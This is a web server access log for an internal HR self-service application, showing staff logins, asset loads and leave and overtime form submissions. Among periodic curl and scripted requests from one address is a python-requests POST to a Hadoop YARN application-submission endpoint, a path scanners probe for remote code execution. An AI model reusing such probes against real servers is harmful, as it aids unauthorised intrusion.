192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [03/Sep/2025:15:25:45 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.136 - - [03/Sep/2025:15:25:45 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:15:25:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [03/Sep/2025:15:25:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [03/Sep/2025:15:25:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:15:25:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.40.48 - - [03/Sep/2025:15:25:49 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:15:25:49 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [03/Sep/2025:15:25:50 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [03/Sep/2025:15:25:50 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [03/Sep/2025:15:25:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [03/Sep/2025:15:25:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [03/Sep/2025:15:25:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [03/Sep/2025:15:25:51 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.40.48 - - [03/Sep/2025:15:25:51 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351
192.168.40.48 - - [03/Sep/2025:15:25:51 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10351 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:15:25:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14330 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:15:25:54 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14330
192.168.11.136 - - [03/Sep/2025:15:25:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [03/Sep/2025:15:25:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:25:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.40.48 - - [03/Sep/2025:15:26:00 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4490 "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [03/Sep/2025:15:26:00 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4490
192.168.11.136 - - [03/Sep/2025:15:26:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16197
192.168.11.136 - - [03/Sep/2025:15:26:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16197 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:26:09 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.136 - - [03/Sep/2025:15:26:09 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:15:26:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:26:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:26:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:15:26:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:15:27:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:27:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:28:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:15:28:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:15:29:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:29:29 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:15:30:36 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.136 - - [03/Sep/2025:15:30:36 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:30:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:30:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [03/Sep/2025:15:31:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20759424969513973 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:31:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20759424969513973 HTTP/1.1" 200 8900
100.64.0.1 - - [03/Sep/2025:15:31:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:31:16 +0800] "GET / HTTP/1.0" 200 439
192.168.11.136 - - [03/Sep/2025:15:31:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20759424969513973 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20759424969513973" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:31:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20759424969513973 HTTP/1.1" 200 24844
192.168.11.136 - - [03/Sep/2025:15:31:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:31:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.136 - - [03/Sep/2025:15:31:32 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.136 - - [03/Sep/2025:15:31:32 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [03/Sep/2025:15:31:32 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [03/Sep/2025:15:31:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [03/Sep/2025:15:31:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.71 - - [03/Sep/2025:15:31:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.71 - - [03/Sep/2025:15:31:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:31:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.71 - - [03/Sep/2025:15:31:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:31:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:31:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.71 - - [03/Sep/2025:15:32:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.71 - - [03/Sep/2025:15:32:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.71 - - [03/Sep/2025:15:32:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
100.64.0.1 - - [03/Sep/2025:15:32:27 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:32:27 +0800] "GET / HTTP/1.0" 200 439
192.168.11.71 - - [03/Sep/2025:15:32:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9848049467094311 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9848049467094311 HTTP/1.1" 200 10228
192.168.11.71 - - [03/Sep/2025:15:32:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9848049467094311 HTTP/1.1" 200 12400 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9848049467094311" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9848049467094311 HTTP/1.1" 200 12400
192.168.11.71 - - [03/Sep/2025:15:32:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [03/Sep/2025:15:32:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
100.64.0.1 - - [03/Sep/2025:15:33:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:33:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:33:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:33:57 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:35:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:35:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:36:13 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:36:13 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:36:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:36:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:43:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:43:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:44:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:15:44:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:15:45:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [03/Sep/2025:15:45:35 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [03/Sep/2025:15:48:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:48:29 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:51:58 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:51:58 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:52:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:52:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:56:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:56:23 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:57:22 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:57:22 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:15:58:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:15:58:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:01:59 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:01:59 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:07:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:16:07:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:08:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:16:08:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:08:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
